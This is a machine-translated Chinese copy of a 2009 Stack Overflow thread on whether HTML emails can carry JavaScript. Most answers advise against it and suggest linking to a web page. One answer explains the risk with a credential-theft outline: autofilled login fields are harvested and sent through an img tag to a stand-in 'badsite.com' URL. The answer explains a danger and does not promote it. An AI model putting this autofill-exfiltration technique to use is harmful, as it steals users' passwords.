是否可以/推荐发送包含Javascript的HTML电子邮件?

时间:2009-02-18 13:26:48

标签: javascript email web-applications dhtml

这主要是一个修辞问题,据我所知,答案是'甚至不打扰',但我想确定。

我们有一个电子邮件应用,您可以在其中向订阅者列表发送电子邮件。这不是垃圾邮件:例如,它被大学用于向学生发送通信,博物馆向订阅者发送电子邮件等等。

最近,潜在客户询问我是否可以发送包含javascript的html消息而不被标记为垃圾邮件。

不知道,我做了一次网络短途旅行,我得到的是(后面的百分比)“一半的客户将无法正常显示”,“一半的客户会将您标记为垃圾邮件”和“一半的客户将完全阻止javascript”(显然有一些叠加)。

因此,如果确实有必要,最佳解决方案似乎是添加指向正确页面的链接。你有不同的经历吗?您知道任何提供此功能的电子邮件合并解决方案吗?你知道具体的客户是否接受它或拒绝用javascript显示html?

5 个答案:

答案 0 :(得分:9)

您已在电子邮件中列出了针对javascript使用的正确参数。这些告诉你这是一个坏主意。链接到您可以自由使用javascript的页面是一个不错的选择,并允许用户决定是否以及何时访问此“增强”内容。

答案 1 :(得分:0)

JavaScript的问题在于它会带来安全威胁。如果有任何电子邮件客户端接受它,那么它很可能是一个安全漏洞,应该修复。

所以,真的,“不要打扰”,因为即使它有效,它也很快就会停止工作。

编辑:有些人似乎不明白为什么为什么这是一个安全风险,所以我会解释。

请考虑以下代码(使用Javascript和不安全的电子邮件客户端窃取密码的多种方法之一)。

使用JavaScript:

  1. 使用“用户名”和“密码”输入字段创建表单。
  2. 让浏览器自动记住这些字段的内容(多个用户在浏览器的内存中存储用户名和密码,以避免每次都输入和记住它。
  3. 两个字段(自动)填充后,使用<img src="badsite.com/senddata?username=user&password=pass">等内容将其内容发送到您的网站。
  4. 恭喜!你偷了密码!
  5. 通常,在您自己的不安全网站中使用JavaScript创建表单本身并不是有害的,因为浏览器足够聪明,只能将gmail数据告诉gmail(而且您通常不会尝试从您自己的网站窃取密码,在这种情况下,无论如何都会有更容易的方法来窃取它们。

    但是,如果您在电子邮件中允许JavaScript,则浏览器无法将合法JavaScript与不安全代码分开。

    如果电子邮件客户端无法过滤JavaScript,也可能发生Cookie被盗。

答案 2 :(得分:0)

垃圾邮件如此重要,我会坚持发送易于消费的基本电子邮件。您随时可以链接到包含javascript的网页。您还可以在URL中发送查询字符串参数,以跟踪对您的电子邮件最感兴趣的用户,因为这会告诉您他们是单击它们的。因此尽管可能,但最好避免它。

答案 3 :(得分:0)

是的,这是可能的,但不推荐。出于安全目的,大多数邮件管理软件都阻止了js,或者如果他包含js则会发出警报。如果用户严格要求垃圾邮件,那么这些邮件也会被发送到垃圾邮件。

答案 4 :(得分:-1)

如果电子邮件链接到缓存了您的用户名和密码的客户端,则浏览器中存在漏洞...电子邮件通常会在浏览器中打开...